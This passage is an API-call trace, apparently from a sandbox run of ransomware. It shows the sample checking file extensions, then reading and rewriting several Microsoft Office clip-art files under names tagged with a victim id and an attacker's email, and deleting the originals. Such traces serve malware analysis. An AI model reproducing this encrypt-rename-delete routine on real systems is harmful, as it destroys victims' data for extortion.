	[0072.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.198] lstrlenW (lpString=".pdf") returned 4
	[0072.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.198] lstrlenW (lpString=".xls") returned 4
	[0072.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.198] lstrlenW (lpString=".xlsx") returned 5
	[0072.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.198] lstrlenW (lpString=".ppt") returned 4
	[0072.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.198] lstrlenW (lpString=".zip") returned 4
	[0072.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.198] lstrlenW (lpString=".rar") returned 4
	[0072.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.198] lstrlenW (lpString=".bz2") returned 4
	[0072.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.199] lstrlenW (lpString=".7z") returned 3
	[0072.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.199] lstrlenW (lpString=".dbf") returned 4
	[0072.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.199] lstrlenW (lpString=".1cd") returned 4
	[0072.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.199] lstrlenW (lpString=".jpg") returned 4
	[0072.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.199] lstrlenW (lpString=".doc") returned 4
	[0072.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.199] lstrlenW (lpString=".docx") returned 5
	[0072.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.199] lstrlenW (lpString=".pdf") returned 4
	[0072.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.199] lstrlenW (lpString=".xls") returned 4
	[0072.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.199] lstrlenW (lpString=".xlsx") returned 5
	[0072.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.199] lstrlenW (lpString=".ppt") returned 4
	[0072.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.199] lstrlenW (lpString=".zip") returned 4
	[0072.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.199] lstrlenW (lpString=".rar") returned 4
	[0072.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.199] lstrlenW (lpString=".bz2") returned 4
	[0072.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.200] lstrlenW (lpString=".7z") returned 3
	[0072.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.200] lstrlenW (lpString=".dbf") returned 4
	[0072.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.200] lstrlenW (lpString=".1cd") returned 4
	[0072.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.200] lstrlenW (lpString=".jpg") returned 4
	[0072.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.200] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.200] lstrlenW (lpString="AN04323_.WMF") returned 12
	[0072.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.200] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2492) returned 1
	[0072.200] CloseHandle (hObject=0x37c) returned 1
	[0072.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220
	[0072.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.201] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.201] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0072.201] GetLastError () returned 0x0
	[0072.201] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x9bc, lpOverlapped=0x0) returned 1
	[0072.203] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0072.204] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.204] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.204] SetEndOfFile (hFile=0x394) returned 1
	[0072.205] CloseHandle (hObject=0x394) returned 1
	[0072.206] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.206] SetEndOfFile (hFile=0x37c) returned 1
	[0072.207] CloseHandle (hObject=0x37c) returned 1
	[0072.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1
	[0072.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.207] lstrlenW (lpString=".doc") returned 4
	[0072.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.208] lstrlenW (lpString=".docx") returned 5
	[0072.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.208] lstrlenW (lpString=".pdf") returned 4
	[0072.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.208] lstrlenW (lpString=".xls") returned 4
	[0072.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.208] lstrlenW (lpString=".xlsx") returned 5
	[0072.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.208] lstrlenW (lpString=".ppt") returned 4
	[0072.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.208] lstrlenW (lpString=".zip") returned 4
	[0072.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.208] lstrlenW (lpString=".rar") returned 4
	[0072.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.208] lstrlenW (lpString=".bz2") returned 4
	[0072.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.208] lstrlenW (lpString=".7z") returned 3
	[0072.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.208] lstrlenW (lpString=".dbf") returned 4
	[0072.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.208] lstrlenW (lpString=".1cd") returned 4
	[0072.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.209] lstrlenW (lpString=".jpg") returned 4
	[0072.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.209] lstrlenW (lpString=".doc") returned 4
	[0072.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.209] lstrlenW (lpString=".docx") returned 5
	[0072.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.209] lstrlenW (lpString=".pdf") returned 4
	[0072.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.209] lstrlenW (lpString=".xls") returned 4
	[0072.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.209] lstrlenW (lpString=".xlsx") returned 5
	[0072.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.209] lstrlenW (lpString=".ppt") returned 4
	[0072.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.209] lstrlenW (lpString=".zip") returned 4
	[0072.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.209] lstrlenW (lpString=".rar") returned 4
	[0072.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.209] lstrlenW (lpString=".bz2") returned 4
	[0072.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.209] lstrlenW (lpString=".7z") returned 3
	[0072.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.210] lstrlenW (lpString=".dbf") returned 4
	[0072.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.210] lstrlenW (lpString=".1cd") returned 4
	[0072.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0072.210] lstrlenW (lpString=".jpg") returned 4
	[0072.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.210] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.210] lstrlenW (lpString="AN04326_.WMF") returned 12
	[0072.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.210] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=3348) returned 1
	[0072.210] CloseHandle (hObject=0x37c) returned 1
	[0072.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220
	[0072.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.211] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.211] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0072.211] GetLastError () returned 0x0
	[0072.211] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xd14, lpOverlapped=0x0) returned 1
	[0072.855] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0072.856] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.858] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.858] SetEndOfFile (hFile=0x394) returned 1
	[0072.858] CloseHandle (hObject=0x394) returned 1
	[0072.859] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.859] SetEndOfFile (hFile=0x37c) returned 1
	[0072.860] CloseHandle (hObject=0x37c) returned 1
	[0072.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1
	[0072.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.861] lstrlenW (lpString=".doc") returned 4
	[0072.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.861] lstrlenW (lpString=".docx") returned 5
	[0072.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.861] lstrlenW (lpString=".pdf") returned 4
	[0072.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.861] lstrlenW (lpString=".xls") returned 4
	[0072.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.861] lstrlenW (lpString=".xlsx") returned 5
	[0072.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.861] lstrlenW (lpString=".ppt") returned 4
	[0072.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.862] lstrlenW (lpString=".zip") returned 4
	[0072.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.862] lstrlenW (lpString=".rar") returned 4
	[0072.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.862] lstrlenW (lpString=".bz2") returned 4
	[0072.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.862] lstrlenW (lpString=".7z") returned 3
	[0072.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.862] lstrlenW (lpString=".dbf") returned 4
	[0072.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.862] lstrlenW (lpString=".1cd") returned 4
	[0072.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.862] lstrlenW (lpString=".jpg") returned 4
	[0072.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.862] lstrlenW (lpString=".doc") returned 4
	[0072.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.862] lstrlenW (lpString=".docx") returned 5
	[0072.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.862] lstrlenW (lpString=".pdf") returned 4
	[0072.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.862] lstrlenW (lpString=".xls") returned 4
	[0072.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.862] lstrlenW (lpString=".xlsx") returned 5
	[0072.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.862] lstrlenW (lpString=".ppt") returned 4
	[0072.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.863] lstrlenW (lpString=".zip") returned 4
	[0072.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.863] lstrlenW (lpString=".rar") returned 4
	[0072.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.863] lstrlenW (lpString=".bz2") returned 4
	[0072.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.863] lstrlenW (lpString=".7z") returned 3
	[0072.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.863] lstrlenW (lpString=".dbf") returned 4
	[0072.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.863] lstrlenW (lpString=".1cd") returned 4
	[0072.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0072.863] lstrlenW (lpString=".jpg") returned 4
	[0072.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.863] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.863] lstrlenW (lpString="BD07804_.WMF") returned 12
	[0072.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.863] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=4924) returned 1
	[0072.864] CloseHandle (hObject=0x37c) returned 1
	[0072.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220
	[0072.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.864] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.864] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0072.864] GetLastError () returned 0x0
	[0072.864] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x133c, lpOverlapped=0x0) returned 1
	[0072.866] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1340, lpOverlapped=0x0) returned 1
	[0072.867] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.867] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.867] SetEndOfFile (hFile=0x394) returned 1
	[0072.867] CloseHandle (hObject=0x394) returned 1
	[0072.868] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.868] SetEndOfFile (hFile=0x37c) returned 1
	[0072.869] CloseHandle (hObject=0x37c) returned 1
	[0072.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1
	[0072.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.870] lstrlenW (lpString=".doc") returned 4
	[0072.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.870] lstrlenW (lpString=".docx") returned 5
	[0072.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.870] lstrlenW (lpString=".pdf") returned 4
